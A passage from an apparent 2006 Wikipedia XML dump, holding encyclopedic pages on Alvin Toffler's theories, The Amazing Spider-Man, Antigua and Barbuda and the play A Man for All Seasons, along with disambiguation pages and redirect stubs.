*The main components of the Second Wave society are [[nuclear family]], factory-type education system and the [[corporation]]. Toffler writes: &quot;The Second Wave Society is industrial and based on [[mass production]], [[mass distribution]], [[mass consumption]], [[mass education]], [[mass media]], [[mass recreation]], [[mass entertainment]], and [[weapons of mass destruction]]. You combine those things with [[standardization]], [[centralization]], concentration, and synchronization, and you wind up with a style of [[organization]] we call [[bureaucracy]].&quot; 
*Third Wave is the [[post-industrial]] society. Toffler would also add that since late 1950s most countries are moving away from a Second Wave Society into what he would call a Third Wave Society.  He coined lots of words to describe it and mentions names invented by other people, like the [[Information Age]].

In this post-industrial society, there is a lot of diversity in [[lifestyle]]s (&quot;subcults&quot;).
[[Adhocracy|Adhocracies]] (fluid organizations like, say, the [[Wikipedia community]]) adapt quickly to [[change]]s.
[[Information]] can substitute most of the material resources (see [[ersatz]]) and becomes the main material for workers ([[cognitarian]]s instead of [[proletarian]]s), who are loosely affiliated.
[[Mass customization]] offers the possibility of cheap, personalized, production catering to small niches (see [[Just In Time]] production).
The gap between producer and consumer is bridged by technology.
&quot;[[Prosumer]]s&quot; can fill their own needs (see [[open source]], [[assembly kit]], [[freelance]] work).

Since the 1960s, people have been trying to make sense of the impact of new technologies and social change. Toffler's writings have been influential beyond the confines of scientific, economic and public policy discussions.  [[Techno music]] pioneer [[Juan Atkins]] cites Toffler's phrase &quot;techno rebels&quot; in ''Future Shock'' as inspiring him to use the word &quot;techno&quot; to describe the [[musical genre|musical style]] he helped to create.

Toffler's works and ideas have been subject to various criticism, usually with the same argumentation used against [[future studies|futurology]], that is that foreseeing the future is nigh impossible. In the 1990s, his ideas were publicly lauded by [[Newt Gingrich]].

== His books ==

A few of his well-known works are:

* ''[[Future Shock]]'' ([[1970]]) Bantam Books ISBN 0553277375
* ''[[The Eco-Spasm Report]]'' ([[1975]]) Bantam Books ISBN 055314474X
* ''[[The Third Wave (book)|The Third Wave]]'' ([[1980]])  Bantam Books ISBN 0553246984
* ''[[Previews &amp; Premises]]'' ([[1983]])
* ''[[Powershift|Powershift: Knowledge, Wealth and Violence at the Edge of the 21st Century]]'' ([[1990]])  Bantam Books ISBN 0553292153
* ''[[War and Anti-War|War and Anti-War]]'' ([[1995]]) Warner Books ISBN 0446602590

''[[The Shockwave Rider]]'' is a science-fiction novel inspired by his ''Future Shock''.

==See also==

*[[Daniel Bell]]
*[[Norman Swan]]
*The [[National Committee For U.S.-China Relations]]
*The [[U.S. Committee for Unifem]]
*The [[United Nations Fund for Women]] (UNIFEM)
*The [[RAND|RAND Corporation]]
*The [[Progress and Freedom Foundation]]
*The [[Institute for Policy Studies]]
*The [[United Nations]]
*The [[World Trade Organization]]
*The [[The Pentagon|Pentagon]]
*[[Techno]]

[[Category:1928 births|Toffler, Alvin]]
[[Category:Living people|Toffler, Alvin]]
[[Category:American writers|Toffler, Alvin]]

[[af:Alvin Toffler]]
[[de:Alvin Toffler]]
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[[sv:Alvin Toffler]]</text>
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  </page>
  <page>
    <title>The Amazing Spider-Man</title>
    <id>931</id>
    <revision>
      <id>41875373</id>
      <timestamp>2006-03-02T07:52:39Z</timestamp>
      <contributor>
        <ip>85.107.165.6</ip>
      </contributor>
      <text xml:space="preserve">: ''The Amazing Spider-Man is a comics series. For other uses see [[The Amazing Spider-Man (disambiguation)]].''

[[Image:Firstissue.jpg|thumb|Cover to ''The Amazing Spider-Man'' #1 (Volume 1), March 1963, by [[Steve Ditko]].]]
'''''The Amazing Spider-Man''''' is the title of a [[comic book]] published by [[Marvel Comics]], a [[television program]] and a daily [[newspaper]] [[comic strip]]. All three feature the adventures of the [[superhero]] [[Spider-Man]].

==Comic book ==

Spider-Man originally appeared in issue #15 of the comic book ''[[Amazing Fantasy]]'', its final issue.  The series was cancelled with that issue, but response to the character was so positive that the new title, ''The Amazing Spider-Man'' was launched, issue #1 appearing in March 1963.

The character was created by writer/editor [[Stan Lee]] and artist/cowriter [[Steve Ditko]], and the pair produced 38 issues of ''Amazing''.  A disagreement over a story led to Ditko leaving the title after that point.  He was replaced by penciller [[John Romita, Sr.|John Romita]] who illustrated Lee's stories for several years. Although many fans thought that the writing quality almost instantly plummeted, the series became still more popular.

Many writers and artists have taken over the monthly comic over the years chronicling the adventures of Marvel's most identifiable hero. The title was published continuously until 1998 when Marvel Comics decided to begin anew by renumbering the title with a new issue #1 published in January, 1999. In 2003 this new title reverted to using the numbering of the original series, at issue #500.

As of October 2005, ''The Amazing Spider-Man'' is participating in &quot;[[Spider-Man: The Other|The Other]]&quot;, a 12-part crossover, which will conclude in January 2006.

[[Image:Blackissue.jpg|thumb|Cover to ''The Black Issue'' which is just a black background.]]
===Black Issue===

An issue of Amazing Spider-Man (Vol. 2) called &quot;The Black Issue&quot; explores how Spider-Man and other heroes would react to the [[September 11, 2001 attacks]] written by [[J. Michael Straczynski]] and penciled by [[John Romita, Jr]]. It starts with a double page spread of the devastation and of Spidey holding his head in pain/anguish/disbelief, his only word &quot;...God...&quot; The issue continues as Spidey swings down to help in the aftermath. Joining with other heroes in the rescue efforts, Spidey explores the wreckage and the broken hearts and his thoughts drive on, thinking through it all. At some point his thoughts become Straczynski's reflections and response. The script journeys from horror, pain and loss to end on strength.

See also [[List of The Amazing Spider-Man comics|List of ''The Amazing Spider-Man'' comics]]

==Television program==
{{main|The Amazing Spider-Man (TV series)}}
Spidey got his shot at live-action TV stardom in April 1977, when he debuted in the &quot;Amazing Spider-Man&quot; TV series.  Nicholas Hammond portrayed Peter Parker/Spider-Man in the short-lived series, which had started out as a slew of TV-movies, obviously made to capitalize on the [[The Incredible Hulk]] television series.  The show was canceled a year after its debut.

==Newspaper comic strip==

The daily newspaper comic strip began on [[January 3]], [[1977]]. It was first written by Spider-Man co-creator [[Stan Lee]] and illustrated by [[John Romita, Sr.|John Romita]].  The strip was surprisingly successful in an era with few serialized adventure strips.  The strip slowly grew in circulation and [[as of 2006]] is still being published.  Lee's brother [[Larry Lieber]] illustrated and later wrote the strip for much of its run. While the strip and the comic book feature the same characters, they do not share the same [[Continuity (fiction)|continuity]], and the strip has had a decreased emphasis on [[supervillain]] enemies.  A rare exception was the 1987 wedding of [[Peter Parker]] and [[Mary Jane Watson]] which occurred in both the comic book and the comic strip.  Guest stars in the newspaper strip include [[Wolverine (comics)|Wolverine]] and [[Dr. Strange]].  Villains include [[Dr. Doom]], [[Kraven the Hunter]], and [[The Rhino]].  Stories from the strip have been reprinted in paperback and in [[Comics Revue]] magazine.

==Video and computer games==
{{see details|Spider-Man (games)}}
Numerous video and computer games have been released whereby the player controlled Spider-Man and had to do battle with various enemies.

==Trivia==
The 2004 movie ''[[Spider-Man 2]]'' was at one point tentatively titled ''The Amazing Spider-Man''.

==External links==
*[http://www.spyder-25.com Spyder-25.com :: Ultimate Resource For Spider-Man Fans]
*[http://www.spidermancrawlspace.com Spider-Man Crawl Space: All Spidey, All The Time]
*[http://www.kingfeatures.com/features/comics/spidermn/about.htm The Amazing Spider-Man comic strip]


{{spiderman}}
[[Category:Spider-Man titles]]
[[Category:Comic strips|Amazing Spider-Man, The]]

[[fr:Amazing Spider-man]]</text>
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  <page>
    <title>Archie</title>
    <id>932</id>
    <revision>
      <id>40125139</id>
      <timestamp>2006-02-18T08:44:27Z</timestamp>
      <contributor>
        <username>Lightdarkness</username>
        <id>130135</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''Archie''' may refer to:

* [[Archie Andrews (puppet)]] -- Ventriloquist's puppet
* [[Archie Bunker]] -- a [[sitcom]] character from the [[1970s]].
* [[Archie Comics]] -- a comic book publisher specializing in teen humor
** [[Archie Andrews (comics)]] -- Main character in Archie Comics
* [[Archie search engine]] -- a [[search engine]] for [[File Transfer Protocol|FTP]] sites, named after the comic series, launched in the early [[1990s]].
* [[Archie, Missouri]] -- city located in Cass County, Missouri.
* A slang term for [[Anti-aircraft warfare|anti-aircraft fire]] used by the [[United Kingdom|British]] [[Royal Flying Corps]] and [[Royal Air Force]].
* [[Archie_(Linux)|Archie Linux]] -- a [[LiveCD]] version of [[Arch Linux]]
* [[Archie (Pokémon)|Archie]] -- leader of [[Team Aqua]] in the [[Pokémon]] series
* [[Archie MacPherson]] -- Scottish sports broadcaster.
{{disambig}}</text>
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  </page>
  <page>
    <title>AM</title>
    <id>933</id>
    <revision>
      <id>40944561</id>
      <timestamp>2006-02-24T01:05:58Z</timestamp>
      <contributor>
        <username>Mzajac</username>
        <id>61482</id>
      </contributor>
      <minor />
      <comment>sort</comment>
      <text xml:space="preserve">{{wiktionarypar4|AM|A.M.|Am|am}}

'''AM''' may refer to:

* [[AM broadcasting]], radio broadcasting using [[Amplitude Modulation]]
* [[AM (fictional computer)]], a fictional evil supercomputer in the short story ''I Have No Mouth, and I Must Scream''
* ''[[Ante Meridiem]]'', in 12-hour clock notation, Latin for &quot;before noon&quot;
* ''[[Anno Mundi]]'', a Calendar era counting from the creation of the world
* [[Armenia]] (ISO country code AM)
* [[Anguilla]] (MARC country code am)
* [[Aeroméxico]] (IATA airline designator)
* [[Air Marshal]], a military rank in the Royal Air Force and many Commonwealth air forces
* [[Air Medal]], a military decoration
* [[Airmail]]
* [[Artium Magister]], alternative abbrevation for a Master's degree in Arts
* [[Amazonas State, Brazil]]
* [[Americium]], a chemical element with symbol Am
* [[Amharic language]] (ISO 639-1 language code am)
* [[Amran Governorate]], Yemen (ISO 3166-2:YE)
* ''[[Anno Martyrum]]'', used in the Coptic calendar
* [[Arkansas and Missouri Railroad]], a short-line railroad headquartered in Springdale, Arkansas
* [[Arthur-Merlin protocol]], an interactive proof system in computational complexity theory
* [[Asia Miles]], a Cathay Pacific travel reward programme
* [[Attometre]] (am), a unit of length (equal to 10&lt;sup&gt;&lt;small&gt;–18&lt;/small&gt;&lt;/sup&gt; m)
* [[Automated Mathematician]], an artificial intelligence program
* [[Minesweeper (ship)]], U.S. Navy 1921 warship classification code
* [[Order of Australia]] member (postnominal)
* A-minor (Am), a [[minor chord]] in music
* Assembly Member of the [[National Assembly for Wales]] or [[London Assembly]]
* &quot;Away message&quot;, see [[status message (IM)]]

{{disambig}}

[[ca:Am]]
[[da:AM (flertydig)]]
[[de:Am]]
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  <page>
    <title>Automated Alice/XII</title>
    <id>935</id>
    <revision>
      <id>15899447</id>
      <timestamp>2004-11-30T06:37:19Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
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  <page>
    <title>Automated Alice/XI</title>
    <id>936</id>
    <revision>
      <id>15899448</id>
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      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
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  <page>
    <title>Automated Alice/X</title>
    <id>937</id>
    <revision>
      <id>15899449</id>
      <timestamp>2004-11-30T06:37:10Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
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  <page>
    <title>Automated Alice/IX</title>
    <id>938</id>
    <revision>
      <id>15899450</id>
      <timestamp>2004-11-30T06:36:47Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
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  <page>
    <title>Automated Alice/VIII</title>
    <id>939</id>
    <revision>
      <id>15899451</id>
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        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
    </revision>
  </page>
  <page>
    <title>Automated Alice/VI</title>
    <id>940</id>
    <revision>
      <id>15899452</id>
      <timestamp>2004-11-30T06:36:59Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
    </revision>
  </page>
  <page>
    <title>Automated Alice/VII</title>
    <id>941</id>
    <revision>
      <id>15899453</id>
      <timestamp>2004-11-30T06:37:03Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
    </revision>
  </page>
  <page>
    <title>Automated Alice/V</title>
    <id>942</id>
    <revision>
      <id>15899454</id>
      <timestamp>2004-11-30T06:36:51Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
    </revision>
  </page>
  <page>
    <title>Automated Alice/IV</title>
    <id>943</id>
    <revision>
      <id>15899455</id>
      <timestamp>2004-11-30T06:36:44Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
    </revision>
  </page>
  <page>
    <title>Automated Alice/II</title>
    <id>944</id>
    <revision>
      <id>15899456</id>
      <timestamp>2004-11-30T06:36:38Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
    </revision>
  </page>
  <page>
    <title>Automated Alice/I</title>
    <id>945</id>
    <revision>
      <id>15899457</id>
      <timestamp>2004-11-30T06:36:35Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
    </revision>
  </page>
  <page>
    <title>Automated Alice/III</title>
    <id>946</id>
    <revision>
      <id>15899458</id>
      <timestamp>2004-11-30T06:36:40Z</timestamp>
      <contributor>
        <username>Chuq</username>
        <id>3861</id>
      </contributor>
      <comment>[[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki Syntax]]</comment>
      <text xml:space="preserve">#REDIRECT [[Jeff Noon]]</text>
    </revision>
  </page>
  <page>
    <title>Automated Alice</title>
    <id>948</id>
    <revision>
      <id>33600503</id>
      <timestamp>2006-01-02T14:50:04Z</timestamp>
      <contributor>
        <username>Itomi Bhaa</username>
        <id>745300</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Category:1996 books]]
[[Category:Alice derived works]]

'''Automated Alice''' is a novel by [[Jeff Noon]], written 1996.

Noon presents it as a ''trequel'' to the [[Lewis Carroll]] books, ''[[Alice's Adventures in Wonderland]]'' and ''[[Through the Looking-Glass]]''. This illustrated novella follows Alice's journey to a future Manchester populated by Newmonians, Civil Serpents and a vanishing cat named Quark.</text>
    </revision>
  </page>
  <page>
    <title>Antigua and Barbuda</title>
    <id>951</id>
    <revision>
      <id>41463576</id>
      <timestamp>2006-02-27T14:45:26Z</timestamp>
      <contributor>
        <username>Sanmartin</username>
        <id>114509</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">{{Antigua and Barbuda infobox}}
'''Antigua and Barbuda''' is an [[island nation]] located in the eastern [[Caribbean Sea]] on the boundary with the [[Atlantic Ocean]]. [[Antigua]] ({{IPA2|ænˈtiːgə}}) and [[Barbuda]] ({{IPA2|bɑrˈbjuːdə}})are located in the middle of the [[Leeward Islands]] in the Eastern [[Caribbean]], roughly 17 degrees north of the equator. Antigua and Barbuda are part of the [[Lesser Antilles]] [[archipelago]] with the archipelago of [[Guadeloupe]] to the south, [[Montserrat]] to the southwest, [[Saint Kitts and Nevis]] to the west and [[Saint Barthélemy]] and [[Saint Martin]] to the northwest. 
== History ==
''Main article: [[History of Antigua and Barbuda]]''

Pre-ceramic [[Amerindian]]s were the first to inhabit the islands of Antigua and [[Barbuda]] in [[2400 BC]]. Later [[Arawak]] and [[Carib]] [[Amerindian]] tribes populated the islands. The island of Antigua was originally named Wadadli by the natives.  [[Christopher Columbus]] landed on his second voyage in 1493 and gave the island the name Antigua. Early settlements by the [[Spain|Spanish]] and [[France|French]] were succeeded by the [[United Kingdom|English]] who formed a [[colony]] in 1667 by transporting [[Irish Catholic]] slaves to Antigua. [[Slavery]], established to run the [[sugar]] plantations on Antigua, was abolished in 1834. 

The islands became an independent state within the [[Commonwealth of Nations]] on [[1 November]] [[1981]], and [[Vere Bird]] became the first [[prime minister]].

== Politics ==
''Main article:'' [[Politics of Antigua and Barbuda]]

Antigua and Barbuda is a [[Commonwealth Realm]] and the [[head of state]] is [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], who is represented in Antigua and Barbuda by a [[governor general]]. [[executive branch|Executive power]] is in the hands of the [[prime minister]], who is also the [[head of government]]. The prime minister is usually the leader of the winning party of the elections for the [[House of Representatives of Antigua and Barbuda|House of Representatives]] (17 members), held every five years. The other chamber of the [[Parliament of Antigua and Barbuda|parliament]], the [[Senate of Antigua and Barbuda|Senate]], has 17 members which are appointed by the governor general. Its current prime minister is [[Baldwin Spencer]] ([[24 March]] [[2004]]-).

== Administrative Divisions ==
''Main article: [[Parishes and dependencies of Antigua and Barbuda]]''

The island of Antigua is divided into six [[parish]]es:-

{|
|
*&lt;small&gt;1&lt;/small&gt; [[Saint George Parish, Antigua and Barbuda|Saint George]]
*&lt;small&gt;2&lt;/small&gt; [[Saint John Parish, Antigua and Barbuda|Saint John]]
*&lt;small&gt;3&lt;/small&gt; [[Saint Mary Parish, Antigua and Barbuda|Saint Mary]]
|
*&lt;small&gt;4&lt;/small&gt; [[Saint Paul Parish, Antigua and Barbuda|Saint Paul]]
*&lt;small&gt;5&lt;/small&gt; [[Saint Peter Parish, Antigua and Barbuda|Saint Peter]]
*&lt;small&gt;6&lt;/small&gt; [[Saint Philip Parish, Antigua and Barbuda|Saint Philip]]
|
[[Image:Antigua_parishes_numbered.png|right|px150|The Parishes of Antigua]]
|}

The island of [[Barbuda]] and the uninhabited island of [[Redonda]] each enjoy dependency status.

== Geography ==
[[Image:Antigua and Barbuda map.png|250px|thumb|right| ]] 
:''Main article: [[Geography of Antigua and Barbuda]]''
The country consists of a number of islands, of which Antigua is the largest one, and the most populated. [[Barbuda]], just north of Antigua is the other main island. The islands have a warm, tropical [[climate]], with fairly constant temperatures year round. The un-inhabited island of [[Redonda]] also belongs to the nation of Antigua and Barbuda.

The islands are mostly low-lying, with the highest point being [[Boggy Peak]], at 402 [[metre]]s (1,319 [[foot (unit of length)|ft]]). The small country's main town is the capital [[St. John's, Antigua and Barbuda|Saint John's]] on Antigua; Barbuda's largest town is [[Codrington]].

== Economy ==
''Main article: [[Economy of Antigua and Barbuda]]''

[[Tourism]] dominates its economy, accounting for more than half of its [[Gross Domestic Product|GDP]]. Weak tourist arrival numbers since early 2000 have slowed the economy, however, and pressed the government into a tight fiscal corner. The dual-island nation's [[agriculture|agricultural]] production is focused on the domestic market and constrained by a limited [[water supply]] and a [[labour (economics)|labour]] shortage stemming from the lure of higher wages in tourism and construction work. 

[[Manufacturing]] comprises enclave-type assembly for export with major products being bedding, handicrafts, and electronic components. Prospects for [[economic growth]] in the medium term will continue to depend on income growth in the industrialised world, especially in the [[United States]], which accounts for about one-third of all tourist arrivals.

== Demographics ==
''Main article: [[Demographics of Antigua and Barbuda]]''

Most of the population are descendants of the slaves that used to work in the sugar plantations, but there are also groups of Europeans, notably [[Irish ethnicity|Irish]], British and [[Portuguese people|Portuguese]]. While the official language is [[English language|English]], most of the locals speak [[patois]], a form of [[Creole language#English Creole|Creole English]].

Almost all Antiguans are [[Christianity|Christians]], with the [[Anglican Church]] (about 44%) being the largest denomination.

==Foreign relations==
''Main article: [[Foreign relations of Antigua and Barbuda]]''

Antigua and Barbuda is a member of the [[Caribbean Community]], [[United Nations]], [[World Trade Organization]], [[Commonwealth of Nations]], [[Organization of American States]], [[Organisation of Eastern Caribbean States]], and the Eastern Caribbean's [[Regional Security System]].

== Miscellaneous topics ==
* [[Communications in Antigua and Barbuda]]
* [[Culture of Antigua and Barbuda]]
** [[Music of Antigua and Barbuda]]
* [[Military of Antigua and Barbuda]]
* [[Transportation in Antigua and Barbuda]]

==See also==
* [[Caribbean Community]]
* [[Lesser Antilles]]
* [[List of sovereign states]]

==References==
*&quot;[http://www.cia.gov/cia/publications/factbook/geos/ac.html Antigua and Barbuda]&quot;&lt;/cite&gt;. [[CIA World Factbook]], accessed [[28 February]] [[2005]].

== External links ==
{{wiktionary}}
*[http://www.ab.gov.ag The Official Website of the Government of Antigua and Barbuda]
*[http://www.antigua-barbuda.org/index.html  Antigua &amp; Barbuda], its Department of Tourism website
*[http://www.loc.gov/rr/international/hispanic/antigua/antigua.html Antigua and Barbuda], United States Library of Congress Portals on the World
*[http://www.gksoft.com/govt/en/ag.html Governments on the WWW: Antigua and Barbuda]
*[http://www.insideantigua.com Inside Antigua], Antigua news &amp; weather
*[http://www.antigua-barbuda.com The High Commission of Antigua and Barbuda]. Tourism, business, history and culture, politics - an up to date website.
*[http://www.antiguacarnival.com Antigua Carnival] - with great photo galleries.
*[http://antigua-guide.info/ Antigua &amp; Barbuda Vacation Guide] - includes articles on accommodations, transportation, dining, and weather.

{{West_Indies}}
{{Caricom}}
&lt;br&gt;
{{Commonwealth Realms}}
[[Category:Antigua_and_Barbuda|*]]
[[Category:Island nations]]
[[Category:CARICOM_member_states]]
[[Category:Members of the Commonwealth of Nations]]
[[Category:Former British colonies]]

&lt;!--interwiki--&gt;

[[an:Antigua y Barbuda]]
[[bg:Антигуа и Барбуда]]
[[zh-min-nan:Antigua kap Barbuda]]
[[bn:এন্টিগুয়া এবং বার্বুডা]]
[[bs:Antigva i Barbuda]]
[[ca:Antigua i Barbuda]]
[[cs:Antigua a Barbuda]]
[[da:Antigua og Barbuda]]
[[de:Antigua und Barbuda]]
[[et:Antigua ja Barbuda]]
[[es:Antigua y Barbuda]]
[[eo:Antigvo-Barbudo]]
[[fr:Antigua-et-Barbuda]]
[[gl:Antiga e Barbuda - Antigua and Barbuda]]
[[ko:앤티가 바부다]]
[[hr:Antigva i Barbuda]]
[[io:Antiga e Barbuda]]
[[id:Antigua dan Barbuda]]
[[is:Antígva og Barbúda]]
[[it:Antigua e Barbuda]]
[[he:אנטיגואה וברבודה]]
[[lv:Antigva un Barbuda]]
[[lt:Antigva ir Barbuda]]
[[hu:Antigua és Barbuda]]
[[ku:Antigûa û Berbûda]]
[[ms:Antigua dan Barbuda]]
[[na:Antigua me Barbuda]]
[[nl:Antigua en Barbuda]]
[[nds:Antigua un Barbuda]]
[[ja:アンティグア・バーブーダ]]
[[no:Antigua og Barbuda]]
[[nn:Antigua og Barbuda]]
[[pl:Antigua i Barbuda]]
[[pt:Antígua e Barbuda]]
[[ro:Antigua şi Barbuda]]
[[ru:Антигуа и Барбуда]]
[[sa:अंटीग्वा]]
[[sq:Antigua dhe Barbuda]]
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[[sk:Antigua a Barbuda]]
[[sl:Antigva in Barbuda]]
[[sr:Антигва и Барбуда]]
[[fi:Antigua ja Barbuda]]
[[sv:Antigua och Barbuda]]
[[tl:Antigua at Barbuda]]
[[tr:Antigua ve Barbuda]]
[[uk:Антигуа і Барбуда]]
[[zh:安提瓜和巴布达]]</text>
    </revision>
  </page>
  <page>
    <title>A Man for All Seasons</title>
    <id>952</id>
    <revision>
      <id>42063055</id>
      <timestamp>2006-03-03T15:30:59Z</timestamp>
      <contributor>
        <ip>24.15.135.55</ip>
      </contributor>
      <comment>/* Quotation */</comment>
      <text xml:space="preserve">{{Infobox Film | name = A Man for All Seasons, TV and cinematic films
  | image = A Man for All Seasons DVD cover.jpg
  | caption = A Man for All Seasons
  | director = [[Fred Zinnemann]]   
  | producer = Fred Zinnemann   
  | writer = [[Robert Bolt]]
  | starring =[[Paul Scofield]]&lt;br&gt;[[Wendy Hiller]]&lt;br&gt;[[Leo McKern]]
  | music =[[Georges Delerue]]
  | cinematography =   
  | editing =
  | distributor = [[Columbia Pictures]]
  | released = [[December 12]], [[1966]]
  | runtime = 120 min 
  | language = English 
  | budget = $3,900,000 (estimated)
  | imdb_id = 0060665
}}
'''''A Man for All Seasons''''' is a play by [[Robert Bolt]], first performed in [[London]] on [[July 1]] [[1960]]. It has subsequently been made into a feature film and a television movie.

{{spoiler}}

The plot is based on the true story of Sir [[Thomas More]], the [[16th century|16th-century]] Chancellor of [[England]], who refuses to endorse or denounce the [[monarch|king's]] wish to divorce his aging wife so that he can marry his mistress. The King is [[Henry VIII of England]] and his wife is [[Catherine of Aragon]], the first of an eventual six.  

The play portrays More as a man of principle, envied by rivals such as [[Thomas Cromwell]] and loved by the common people and by his family.  

[[Image:A Man for All Seasons.jpg|left|250px|thumb|Thomas More ([[Paul Scofield]]) is accused of [[high treason]] by Cromwell ([[Leo McKern]]) - 1966 film]] [[Paul Scofield]], who played the leading role in the [[West End]], reprised it on [[Broadway theatre|Broadway]] in [[1962]], winning a [[Tony Award]], and played More again in the first of two film versions ([[1966]]), winning an [[Academy Award for Best Actor|Oscar]] in the process. The film also stars [[Robert Shaw (actor)|Robert Shaw]] as Henry VIII, [[Orson Welles]] as [[Thomas Cardinal Wolsey|Wolsey]], a young [[John Hurt]] as More's nemesis [[Richard Rich, 1st Baron Rich|Richard Rich]], and an older [[Wendy Hiller]] as More's second wife. It was directed by [[Fred Zinnemann]]. In addition to the [[Academy Award for Best Actor|Best Actor Oscar]] won by Scofield, the film won [[Academy Awards]] for screenplay, [[Academy Award for Best Cinematography|cinematography]], costume design, [[Academy Award for Directing|Best Director]], and [[Academy Award for Best Picture|Best Picture]].  

The [[1988]] version stars [[Charlton Heston]] (who also directed it) as More, [[Vanessa Redgrave]] (who appeared briefly in the [[1966]] version as [[Anne Boleyn]]) as More's wife, and Sir [[John Gielgud]] as Cardinal Wolsey.

More recently, the play has been staged in London's West End at the [[Theatre Royal]], Haymarket starring [[Martin Shaw]] and produced by [[Bill Kenwright]].  It closes on [[1 April]] [[2006]].

==Quotation==
[[Image:man4all.JPG|thumb|200px]]

'''Alice:'''    Arrest him!

'''More:'''     Why, what has he done? 

'''Margaret:''' He's bad! 

'''More:'''     There is no law against that. 

'''Roper:'''    There is! God's law! 

'''More:'''     Then God can arrest him. 

'''Roper:'''    Sophistication upon sophistication. 

'''More:'''     No, sheer simplicity. The law, Roper, the law. I know what's legal, not what's right. And I'll stick to what's legal. 

'''Roper:'''    Then you set man's law above God's! 

'''More:'''     No, far below; but let me draw your attention to a fact -- I'm not God. The currents and eddies of right and wrong, which you find such plain sailing, I can't navigate. I'm no voyager. But in the thickets of the law, oh, there I'm a forrester.I doubt if there's a man alive who could follow me there, thank God. 

'''Alice:'''    While you talk, he's gone! 

'''More:'''     And go he should, if he was the Devil himself, until he broke the law! 

'''Roper:'''    So now you'd give the Devil benefit of law! 

'''More:'''     Yes. What would you do? Cut a great road through the law to get after the Devil? 

'''Roper:'''    I'd cut down every law in England to do that! 

'''More:'''     Oh? And when the last law was down, and the Devil turned round on you, where would you hide, Roper, the laws all being flat? This country's planted thick with laws from coast to coast -- man's laws, not God's -- and if you cut them down -- and you're just the man to do it -- do you really think you could stand upright in the winds that would blow then? Yes, I'd give the Devil benefit of law, for my own safety's sake.
 
----
'''More:'''     It profits a man nothing to give his soul for the whole world ... but for Wales, Richard?

==Redirections==
[[A Man for All Seasons, play]]

[[A Man for All Seasons, film]]

==External links==
* {{imdb title|id=0060665|title=The 1966 film}}
* {{imdb title|id=0095578|title=The 1988 film}}
*[http://thebestnotes.com/booknotes/Man_For_All_Seasons/Man_For_All_Seasons01.html Free Study Guide for &quot;A Man for All Seasons&quot;] at [http://thebestnotes.com TheBestNotes.com]
*''[http://artsandfaith.com/t100/2005/entry.php?film=49 A Man for All Seasons]'' (1966) at the [http://artsandfaith.com/top100/ Arts &amp; Faith Top100 Spiritually Significant Films] list
*[http://www.kenwright.com Current London stage production].

{{start box}}
{{succession box
| title=[[Academy Award for Best Picture]]
| years=1966
| before=''[[The Sound of Music]]''
| after=''[[In the Heat of the Night]]''
}}
{{end}}

{{Template:AcademyAwardBestPicture}}

[[Category:Films based on plays|Man for All Seasons, A]]

 &lt;!-- Paul Scofield --&gt;
 &lt;!-- Robert Shaw --&gt;
 &lt;!-- Wendy Hiller --&gt;

[[Category:1966 films|Man for All Seasons, A]]
[[Category:1988 films|Man for All Seasons, A]]
[[Category:Film remakes|Man for All Seasons, A]]
[[Category:Best Actor Oscar (film)|Man for All Seasons, A]]
[[Category:Best Picture Oscar|Man for All Seasons, A]]
[[Category:Best Supporting Actor Oscar Nominee (film)|Man for All Seasons, A]]
[[Category:Best Supporting Actress Oscar Nominee (film)|Man for All Seasons, A]]
[[Category:British films|Man for All Seasons, A]]
[[Category:British plays|Man for All Seasons, A]]
